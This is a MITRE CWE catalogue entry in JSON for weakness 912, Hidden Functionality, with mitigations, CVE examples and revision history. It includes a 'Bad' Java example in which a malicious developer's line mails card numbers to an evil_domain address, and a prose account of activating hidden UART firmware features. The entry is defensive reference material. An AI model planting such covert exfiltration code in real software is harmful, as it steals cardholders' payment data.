{"@ID": "912", "@Name": "Hidden Functionality", "@Abstraction": "Class", "@Structure": "Simple", "@Status": "Incomplete", "Description": "The product contains functionality that is not documented, not part of the specification, and not accessible through an interface or command sequence that is obvious to the product's users or administrators.", "Extended_Description": "Hidden functionality can take many forms, such as intentionally malicious code, \"Easter Eggs\" that contain extraneous functionality such as games, developer-friendly shortcuts that reduce maintenance or support costs such as hard-coded accounts, etc. From a security perspective, even when the functionality is not intentionally malicious or damaging, it can increase the product's attack surface and expose additional weaknesses beyond what is already exposed by the intended functionality. Even if it is not easily accessible, the hidden functionality could be useful for attacks that modify the control flow of the application.", "Related_Weaknesses": {"Related_Weakness": {"@Nature": "ChildOf", "@CWE_ID": "684", "@View_ID": "1000", "@Ordinal": "Primary"}}, "Weakness_Ordinalities": {"Weakness_Ordinality": {"Ordinality": "Primary"}}, "Applicable_Platforms": {"Language": {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}, "Technology": [{"@Class": "Not Technology-Specific", "@Prevalence": "Undetermined"}, {"@Class": "ICS/OT", "@Prevalence": "Undetermined"}]}, "Modes_Of_Introduction": {"Introduction": [{"Phase": "Architecture and Design"}, {"Phase": "Implementation"}]}, "Common_Consequences": {"Consequence": {"Scope": ["Other", "Integrity"], "Impact": ["Varies by Context", "Alter Execution Logic"]}}, "Detection_Methods": {"Detection_Method": {"Method": "Automated Static Analysis", "Description": "Conduct a code coverage analysis using live testing, then closely inspect any code that is not covered."}}, "Potential_Mitigations": {"Mitigation": {"Phase": "Installation", "Description": "Always verify the integrity of the product that is being installed."}}, "Demonstrative_Examples": {"Demonstrative_Example": [{"@Demonstrative_Example_ID": "DX-230", "Intro_Text": "In the example below, a malicous developer has injected code to send credit card numbers to the developer's own email address.", "Example_Code": {"@Nature": "Bad", "@Language": "Java", "xhtml:div": {"xhtml:div": {"@style": "margin-left:1em;", "xhtml:div": {"xhtml:br": [null, null, null, null, null], "xhtml:i": ["// Authorize credit card.", "..."], "#text": "mailCardNumber(ccn, \"evil_developer@evil_domain.com\");"}}, "#text": "boolean authorizeCard(String ccn) {}"}}}, {"@Demonstrative_Example_ID": "DX-231", "Intro_Text": "Consider a device that comes with various security measures, such as secure boot. The secure-boot process performs firmware-integrity verification at boot time, and this code is stored in a separate SPI-flash device. However, this code contains undocumented \"special access features\" intended to be used only for performing failure analysis and intended to only be unlocked by the device designer.", "Example_Code": {"@Nature": "Bad", "@Language": "Other", "xhtml:div": "Attackers dump the code from the device and then perform reverse engineering to analyze the code. The undocumented, special-access features are identified, and attackers can activate them by sending specific commands via UART before secure-boot phase completes. Using these hidden features, attackers can perform reads and writes to memory via the UART interface. At runtime, the attackers can also execute arbitrary code and dump the entire memory contents."}, "Body_Text": "Remove all chicken bits and hidden features that are exposed to attackers. Add authorization schemes that rely on cryptographic primitives to access any features that the manufacturer does not want to expose. Clearly document all interfaces."}]}, "Observed_Examples": {"Observed_Example": [{"Reference": "CVE-2022-31260", "Description": "Chain: a digital asset management program has an undisclosed backdoor in the legacy version of a PHP script (CWE-912) that could allow an unauthenticated user to export metadata (CWE-306)", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-31260"}, {"Reference": "CVE-2022-3203", "Description": "A wireless access point manual specifies that the only method of configuration is via web interface (CWE-1059), but there is an undisclosed telnet server that was activated by default (CWE-912).", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-3203"}]}, "Related_Attack_Patterns": {"Related_Attack_Pattern": [{"@CAPEC_ID": "133"}, {"@CAPEC_ID": "190"}]}, "Mapping_Notes": {"Usage": "Allowed-with-Review", "Rationale": "This CWE entry is a Class and might have Base-level children that would be more appropriate", "Comments": "Examine children of this entry to see if there is a better fit", "Reasons": {"Reason": {"@Type": "Abstraction"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2012-12-28", "Submission_Version": "2.4", "Submission_ReleaseDate": "2013-02-21"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-06-20", "Modification_Version": "3.3", "Modification_ReleaseDate": "2019-06-20", "Modification_Comment": "updated Related_Attack_Patterns"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-04-28", "Modification_Version": "4.7", "Modification_ReleaseDate": "2022-04-28", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Applicable_Platforms, Description, Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-10-26", "Modification_Version": "4.13", "Modification_ReleaseDate": "2023-10-26", "Modification_Comment": "updated Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-04-03", "Modification_Version": "4.17", "Modification_ReleaseDate": "2025-04-03", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Applicable_Platforms, Demonstrative_Examples, Detection_Factors, Potential_Mitigations, Weakness_Ordinalities"}]}}